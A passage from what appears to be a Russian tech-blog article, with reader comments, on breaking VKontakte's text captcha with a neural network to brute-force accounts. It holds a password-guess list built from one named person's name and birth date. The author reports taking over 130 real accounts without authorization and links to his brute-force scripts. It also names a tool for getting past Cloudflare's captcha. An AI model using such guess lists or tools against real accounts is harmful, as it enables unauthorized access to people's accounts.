maria_Kuznecova010200
maria_Kuznecova01022000
maria_Kuznecova0102
01022000maria_Kuznecova
Maria_kuznecova0
0Maria_kuznecova
Maria_kuznecova0!
Maria_kuznecova0.
Maria_kuznecova2000
Maria_kuznecova2000!
2000Maria_kuznecova
Maria_kuznecova00
Maria_kuznecova20000201
Maria_kuznecova000201
Maria_kuznecova010200
Maria_kuznecova01022000
.........
.........

Таким образом были написаны несколько скриптов (все ссылки внизу статьи — она и так уже очень засорена), реализуещих эту идею, и вот их примерные результаты:

  • Скорость перебора достигала 60 паролей в секунду

  • за 12 часов ночной работы на моём домашнем компьютере (интернет=100мбит) с использованием 15 прокси были "намайнены" 130 валидных аккаунтов (и ещё в районе 300 со включенной двухфакторкой). Естественно потом я предупредил их владельцев о том, что их пароль слишком слабый, и удалил все незаконно полученные данные.

  • Примерно у 5% пользователей ВКонтакте указан номер телефона и примерно у 3% из них пароль содержится в наборе из 2000 сгенерированных символов (наиболее популярна комбинация [Nn]ame[bdate][specsymbol] - например, «Пупкин2003», или «masha1!»

Пример работы скрипта в 1 thread'e. На 100 процессах скорость в 100 раз больше :)
Пример работы скрипта в 1 thread'e. На 100 процессах скорость в 100 раз больше :)

И да, я думал насчёт того, чтобы написать в BugBounty, но... Во-первых, у меня уже был негативный опыт, а, во-вторых, о чём писать? О том, что у вас плохая капча? А брутфорс аккаунтов является невполнезаконным, так что я забросил эту идею (меня пару раз с похожим уже посылали).

На последок

Текстовая капча не только не спасает от роботов, но и губит систему, если она является единственной защитой от недобросовестных роботов. Также неожиданностью стало то, что такой IT-гигант, как ВКонтакте, доверяет защиту от брутфорса исключительно своей «мегакапче» (хотя, ради честности, стоит сказать, что она одна из самых сложных, из ранее мне встречавшихся). Также, по моему мнению, стоит ввести более жесткие положения для паролей — хотя бы условие несодержания имени/фамилии и даты рождения (правда 50% паролей пойдут в мусорку, но им туда и дорога????).

Если у вас есть свой проект, в котором используется текстовая капча, пожалуйста, поймите, что это более НЕ ЯВЛЯЕТСЯ защитой КАК ТАКОВОЙ. Позаботьтесь о безопасности сейчас, а то потом может уже быть слишком поздно.

Ну и, конечно, не используйте никакие публичные данные в своих паролях: сильному паролю — капча, не капча — всё нипочём!

Ссылки на source code:

https://github.com/imartemy1524/AITextCaptcha - Скрипты для обучения модели.

https://github.com/imartemy1524/vk_captcha/tree/main/VkHacker - Скрипты для брута аккаутов.

https://github.com/imartemy1524/vk_captcha - source код библиотеки vk_captcha

https://mega.nz/folder/H4kHDA6b#s2ZHPAnKcfwdgnhSByRGow - архив с 150к капчами ВК.

Отблагодарить автора за статью

Если Вам понравилась эта статья, Вы можете отблагодарить меня за проделанный труд материально по криптоадресам ниже:

BTC: bc1qc37ytj9ygycqhmt7dfeg0re5fekv0te7hk2hks

BCH: bitcoincash:qzffexvr8gw886gnrcfw9xemrhqr8zyg4s3zjvplg3

TRX/USDT|USDC(TRC20): TS6xHd68gi6vP2KauV7g8uhs4yAhmJK6PY

LTC: Li12vQRf2bRfwP1Cg4ZaxrPK9ae36g4ARo

ETH/usdt/usdc(ERC20): 0xD43F9388a0E6607D6D1eB22Dda819e1D40F1949c

Комментарии (34)


  1. Daddy_Cool
    00.00.0000 00:00
    +6

    Ого! Статья выложена 10 минут назад - думаю вас уже завалили предложениями о взломе нужных акков! Ну или предприимчивые школьники могут скачать ваши файлы и...
    Впрочем брутфорс он и есть брутфорс - длина пароля должна от него спасать.
    ---
    Интересно подискутировать - отомрет ли капча как метод защиты с распространеним ИИ?
    Я замечал, что иногда бывают такие сложные капчи, что я сразу нажимаю кнопку перегрузить, потому что даже не хочу напрягаться - с большой вероятностью я ошибусь.
    ---
    Интересно - а есть ли эти базы распознанных капч для разных сервисов? Имхо вполне так dark-товар.


    1. FODD
      00.00.0000 00:00
      +1

      Капча просто эволюционирует, да и все на этом.
      В том же дарке на одном из сайтов капча представлена в виде псевдо-3d текста, который сначала нужно развернуть ползунком, чтобы прочитать.
      Опять же, гугл капча с её светофорами и прочим.
      Скорее интересно, во что эволюционирует капча лет через 5.


      1. Kenya-West
        00.00.0000 00:00

        У Microsoft тоже капча псевдо-трехмерная, там надо человечка на объект поставить... Картинки каждый раз еще и под разным ракурсом, с эффектом боке, размытием и т.д. И не сразу поймешь, что и как решать. Причём подходов аж 6 штук!

        Очень недевственный ребус, рекомендую решать его в собранном и максимально адекватном состоянии:

        Не для ̶с̶л̶а̶б̶о̶н̶е̶р̶в̶н̶ы̶х̶ ИИ


      1. Fedkagyrov_3234r
        00.00.0000 00:00

        Придётся наверное сетчаткой глаза подтверждать или отпечатком пальца)


      1. petrryapolov42
        00.00.0000 00:00

        Нужно будет подтверждать сетчаткой глаза)


      1. zhasminryzhova
        00.00.0000 00:00

        В отпечаток сетчатки глаза с таким темпом)


    1. SuperHackerVk Автор
      00.00.0000 00:00
      +1

      По моему мнению, если грамотно построить сеть, то она будет решать капчи в разы лучше, чем реальные пользователи: если она поймет их принцип (найдет все нужные фичи и научится-таки отличать 'v' от 'y'), то текстовые капчи с концами отомрут.

      Ну а начёт датасетов — не знаю, не интересовался. Зато я знаю, что есть платные решения-подписки для "профессиональных спамеров" (от 100$/месяц), которые обучены на огромных датасетах капч разных сервисов и ломают почти любую капчу (например, насколько я понял, в сервисе captcha.guru как раз используется такой бот)


  1. user18383
    00.00.0000 00:00
    +3

    Автор - большой респект. Но я бы все равно подумал по поводу нейросетей. RNN очень много жрет. Поэтому можно было бы использовать только CNN, а в конец добавить обычные перцептроны. Если я правильно понимаю то текстовый код имеет определенную длину. Так же у тебя не пропорционально сжимаются картинки. И вообще не понятно зачем reshape после если его нужно делать до? Конечно у тебя так долго обучалась сеть. Мне было бы интересно увидеть статистику. Accuracy недостаточно. Было бы интересно так же сравнивать с каким нибудь ocr с обработкой изображений.

    Цель статьи не рассказать о реальном применение нейросети, а больше обвинить ВК. Конечно мне нравится что ВК бьют, но все же было бы интересно видеть на Хабре подробные статьи. Хотелось бы сравнение уже имеющихся решений с решением созданным автором. Вот другие примеры решения каптч: у гугл рекаптча есть специальный extension для его обхода использую сам google api или gpt4 уже может обходить каптчу.


    1. SuperHackerVk Автор
      00.00.0000 00:00
      +1

      К сожалению, я недостаточно технически подкован в теме нейросетей, поэтому не могу как-то прокомментировать Ваши доводы.

      Но в целом в статье я говорил, что, вероятнее всего, можно сконструировать модель гораздо лучше моей. Я всего лишь взял готовый код и переделал его под себя так, как посчитал нужным, и получил уже такие вполне рабочии результаты (не было цели добиться 98% успеха)

      Будет интересно посмотреть на другие версии моделей, если такие есть/будут и сравнить их на практике.


  1. grvelvet
    00.00.0000 00:00

    А как обстоят дела с капчой типа выбери картинки?


    1. SuperHackerVk Автор
      00.00.0000 00:00
      +1

      Не знаю, не интересовался.
      Но это совсем другая модель нужна — object recognition.



  1. Maxim_Q
    00.00.0000 00:00
    +1

    У меня у самого уже в печенках сидит эта капча с буквами и светофорами, но увы без нее щас никуда, спамеры и горе хакеры придут на ваш сайт толпами. Изучал альтернативные варианты что можно сделать чтобы и спамеров с хакерами отбить и людям было хорошо. Вот что удалось найти - это альтернатива от Cloudflare, замена привычной капчи которая проверяет браузер, а не знаение светофоров: https://blog.cloudflare.com/turnstile-private-captcha-alternative/

    Еще была идея сделать PoW вместо капчи: https://habr.com/ru/post/580540/ но там полно подводных камней и нет уже проверенного временем решения.

    Если у кого-то есть решения которые реально работают и имею дружелюбный способ проверки для пользователя, дайте мне знать что поставить на свой сайт?


    1. SuperHackerVk Автор
      00.00.0000 00:00

      Для незаметности прекрасно подойдёт google recaptcha V3. Она вообще не беспокоит пользователя, но достаточно хорошо помогает отсеивать ботов.

      А для обхода капчи с cloudflare можно воспользоваться https://pypi.org/project/cloudscraper/ :)


      1. Maxim_Q
        00.00.0000 00:00

        recaptcha V3 идет от «Корпорации добра» и меня это немного напрягает, бог знает что они там собирают и за чем следят. Cloudflare согласен можно обойти, не сильно продвинутая защита, но простых спамеров и ботов отсеивает. Proof of Work метод для меня наиболее предпочитителе т.к. полностью self-hosted и сильно напрягат устройство спамера и хакера. У меня оновная задача защита от подбора пароля и взлом аккаунтов. Может есть что-то для таких целей малопопулярное о чем мало гворят, но что имеет высокую эффективность?


        1. SuperHackerVk Автор
          00.00.0000 00:00

          Насчёт proof of work сильно сомневаюсь, что выйдет что-то годное.
          Потому что то, что на js будет решаться 1сек — на c++ будет работать за 0.2с, на видеокарте, распараллелив — 0.02с, а если кто-нибудь додумается подключить биткоин майнер.... То всё, капут)


          1. Maxim_Q
            00.00.0000 00:00

            А если через 5 попыток не верного входа бан по IP? Пусть у тебя есть видеокарта для взлома но далеко на ней не уехать, и купить для взлома куча IP тоже проблема, это в копеечку влетит. Может Proof of Work не так плох в купе с другими вариантами бана и проверки?


            1. SuperHackerVk Автор
              00.00.0000 00:00

              А зачем тогда вообще Proof Of Work? Насколько я понимаю, капча изначально и задумывалась как альтернатива бану по IP — например, если на 1 вайфае (например, в кафе) сидят 100 человек, и один неправильно 5 раз ввел пароль, то что, всем доступ перекрывать?


              1. Maxim_Q
                00.00.0000 00:00

                Proof Of Work задумывадась чтобы отличить человека от робота. Бан по IP это немного дугое, это от жесткого брутфорса. А вот с примером про кафе это хороший пример проблемы и как ее обойти я пока не знаю. Посоветйте, что сделать в этом случаи?


      1. mk2
        00.00.0000 00:00

        Открытый cloudscraper обходит только капчу v1, насколько я помню. Для чего-то посложнее либо воспользоваться его интеграциями к решателям, либо заплатить за его приватную платную версию. Так что он достаточно бесполезен.


  1. Darkhon
    00.00.0000 00:00

    Ну и, конечно, не используйте никакие публичные данные в своих паролях: сильному паролю — капча, не капча — всё нипочём!

    К тому же есть 2FA.


  1. larasage
    00.00.0000 00:00

    Остался один вопрос - что делать с капчами, которые я сам не могу разобрать? Не часто, но встречаются...


    1. SuperHackerVk Автор
      00.00.0000 00:00

      Забить. На то они и капчи)

      Ну или натравить нейронку на них.


  1. larasage
    00.00.0000 00:00

    хотя бы условие несодержания имени/фамилии и даты рождения (правда 50% паролей пойдут в мусорку, но им туда и дорога????).

    майл.ру уже. Причем в наиболее параноидальном варианте. Например имя - Моёимя. Отвергаются даже варианты типа мвоЁ%иМя891. Как результат - забыл записать новый пароль и благополучно его забыл. Привязка к другому е-майл не помогла, телефон не привязывал, ответ на вопрос "Любимое блюдо" был благополучно забыт за давностью лет. Контроль зад почтой утерян. Спасибо, майл.ру!


    1. Mail_Support
      00.00.0000 00:00

      Здравствуйте. Для обеспечения безопасности почтового ящика мы рекомендуем указывать сложные пароли. Если у вас возникли какие-то проблемы с восстановлением, напишите нам, пожалуйста, об этом через нашу форму https://help.mail.ru/surveys/claims


  1. ALexhha
    00.00.0000 00:00
    +4

    А потом выходит

    новая версия капчи


    1. Maxim_Q
      00.00.0000 00:00

      Это реально новую капчу тестировали или прикол? Я вообще ничего прочитать не могу


      1. Squoworode
        00.00.0000 00:00

        Это MetalCaptcha. Реальная капча, и одновременно прикол.


  1. algol_68
    00.00.0000 00:00
    +1

    Проблема то не в капчах, а то почему ВК не идентифицирует такое кол-во попыток и не блочит аккаунт либо ip


    1. SuperHackerVk Автор
      00.00.0000 00:00

      Наверное потому, что в их бизнес-логике не предполагалось наличие нейросети, обходящей капчу...


  1. dimnsk
    00.00.0000 00:00
    -2

    а давно школьники спамеры захватили хабр?


    1. dimnsk
      00.00.0000 00:00

      а чо так мало школоты заминусовало ?


      1. larasage
        00.00.0000 00:00

        Чтобы минусовать на хабре нужно иметь некоторое количество кармы. Видимо школота оказалась несколько более способной, чем я и Вы.


        1. dimnsk
          00.00.0000 00:00

          деградация ценностей